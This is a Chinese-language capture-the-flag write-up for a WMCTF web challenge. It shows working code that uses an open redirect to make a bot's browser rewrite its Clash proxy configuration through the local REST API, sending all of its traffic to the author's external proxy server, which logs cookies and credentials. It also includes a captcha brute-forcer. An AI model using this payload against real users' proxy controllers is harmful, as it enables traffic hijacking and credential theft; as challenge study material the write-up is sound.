scientific_adfree_networking

这道题挺有意思

更新clash配置

题目说明浏览器使用的是clash代理,clash当配置了external-controller时可以使用restfulapi进行简单的控制。

api可以看https://github.com/Dreamacro/clash/wiki/external-controller-API-reference和https://clash.gitbook.io/doc/restful-api/config#zhong-xin-jia-zai-pei-zhi-wen-jian

在clash得源码中可以看到完整得

image-20210831143232733

api的地址就是external-controller指定的位置,也就是题目中的127.0.0.1:9090

查看api我们可以更新clash的配置。文档中可以根据配置文件地址整体更新或者更新部分参数。

image-20210829115957908

一开始我看到了clash有一个ExternalUI的配置,这个配置指定了一个地址clash会以这个地址为根目录起一个http服务器映射到external-controller api的/ui

image-20210831143504253

那么如果可控这个配置就能利用这个api下载任意位置文件了,猜测secret_key可能是写死在py文件中或者flag写死在模板/环境变量中。

不过看源码clash只会在启动的时候处理一次ExternalUI参数,这个思路就断了。

修改代理

后来又想到一个思路是修改clash的配置,让浏览器走我们的代理,然后再次访问blog.tomswebsite.com:8888,这样的话我们就能抓到bot登陆blog.tomswebsite.com:8888 的cookie。

上面给出的api文档无论是官方的和第三方的都不全或者有小错误,他们显示的能更新的配置很少,整体更新只能通过指定配置文件的方式更新。因为使用的是chrome,我的思路一开始是加载页面时返回Content-Disposition头,让浏览器自动下载到Download目录,而恰巧我们也可以从描述中知道用户为tom,那么整体路径就是/home/tom/Downloads/clash.conf

<?php

header("Content-type: application/octet-stream");
header("Content-Disposition: attachment; filename=abcd.conf");
readfile("clash.conf");#     

但不管怎么搞都是返回找不到文件,我本地用selenium模拟了都可以,很迷。

image-20210831144751757

最后查看clash的源码,发现了文档中未标明的更新配置的方式,我们还可以通过直接传递配置的所有数据的方式更新整体。

image-20210829120220591

根据其源码我们构造的更新的请求应该为curl -X PUT -H "Content-Type: application/json" -d '{"payload": "xxxx"}' ""http://127.0.0.1:9090/configs?force=true", 其中xxxx内容为配置内容。

所以准备好要更新的配置,让所有内容都走我的http代理

mixed-port: 1080
allow-lan: false
mode: Rule
log-level: debug
external-controller: '127.0.0.1:9090'

proxies:
  - name: 'http'
    type: http
    server: 159.75.23.54
    port: 20002

proxy-groups:
  - name: 'jrxnm'
    type: select
    proxies:
      - http

rules:
 - IP-CIDR,127.0.0.0/8,jrxnm
 - MATCH,jrxnm

bot访问url

/logut?next=xxxx是存在任意url跳转的,所以可以在report时让bot访问我们的url。

准备的payload如下,内容是先更新配置,再跳转回blog.tomswebsite.com:8888

<html>
    <body></body>
<script>

    function sleep (time) {
        return new Promise((resolve) => setTimeout(resolve, time));
    }


    function setConfig(){

        config = '{"payload":"mixed-port: 1080\\nallow-lan: true\\nmode: Rule\\nlog-level: debug\\nexternal-controller: \'127.0.0.1:9090\'\\n\\nproxies:\\n  - name: \'http\'\\n    type: http\\n    server: 159.75.23.54\\n    port: 20002\\n\\nproxy-groups:\\n  - name: \'jrxnm\'\\n    type: select\\n    proxies:\\n      - http\\n\\nrules:\\n - IP-CIDR,127.0.0.0/8,jrxnm\\n - MATCH,jrxnm\\n"}';
        console.log(config);

        fetch("http://127.0.0.1:9090/configs", {
            method: 'PUT', 
            headers: new Headers({
            'Content-Type': 'application/json'
        }),
            body: config, 
        }).then(function(response) {
            return response.text();
        }).then(function(data) {
        }).catch(function(e) {
            console.log("error");
        });
    }

    (async function() {

        setConfig();
        await sleep(300);
        location.href = "http://blog.tomswebsite.com:8888";
    })();

</script>

</html>

要接收cookie得搭好代理, clash走的http代理是一种隧道代理,先通过 CONNECT 方法请求隧道代理创建 TCP 连接。

用js搭一个简单的http代理

var http = require('http');
var net = require('net');
var url = require('url');

function request(cReq, cRes) {
    var u = url.parse(cReq.url);
    console.log(cReq.headers);
    var options = {
        hostname : u.hostname,
        port     : u.port || 80,
        path     : u.path,
        method     : cReq.method,
        headers     : cReq.headers
    };

    var pReq = http.request(options, function(pRes) {
        cRes.writeHead(pRes.statusCode, pRes.headers);
        pRes.pipe(cRes);
    }).on('error', function(e) {
        cRes.end();
    });

    cReq.pipe(pReq);
}

function connect(cReq, cSock) {
    console.log(cReq.url);
    var u = url.parse('http://' + cReq.url);
    cSock.on('data', function(data){
        console.log(data.toString());
    })

    var pSock = net.connect(u.port, u.hostname, function() {
        cSock.write('HTTP/1.1 200 Connection Established\r\n\r\n');
        pSock.pipe(cSock);
    }).on('error', function(e) {
        //cSock.end();
    });


    cSock.pipe(pSock);
}

http.createServer()
    .on('request', request)
    .on('connect', connect)
    .listen(20002, '0.0.0.0');

因为服务器是无法连接blog.tomswebsite.com的,所以为了让代理能正常运行,修改服务器hosts添加

127.0.0.1 blog.tomswebsite.com

然后再在本地8888端口随便搭一个http服务

getflag

import requests
import hashlib
import re


url = "http://eci-2zeeotpb5pjrheeobbtm.cloudeci1.ichunqiu.com:8888/report"

def jm_md5(value):
    hsobj = hashlib.md5()
    hsobj.update(value.encode("utf-8"))
    return hsobj.hexdigest()

def get_code(like):
    for i in range(100000,999999):
        m = jm_md5('WMCTF_' + str(i))
        if m[:6] == like:
            return 'WMCTF_' + str(i)    

def getCap(s):
    res = s.get(url)
    rrr = re.findall(r'\[:6\]==([a-f0-9]{6})<', res.text)
    if(rrr):
        like = rrr[0]
        code = get_code(like)
        return code

def send(payload="logout?next=http://159.75.23.54:22225/1.html"):
    s = requests.Session()

    Cap = getCap(s)
    print(Cap)

    data = {
        "title": payload,
        "body": "asdasd",
        "captcha": Cap
    }
    res = s.post(url, data=data)
    if("Success" in res.text):
        print("success")

send()

接收到cookie

image-20210829115558582

因为是访问了logout,所以cookie已经失效。解码拿到账号密码

image-20210829115619009

登陆看到flag

image-20210829115507258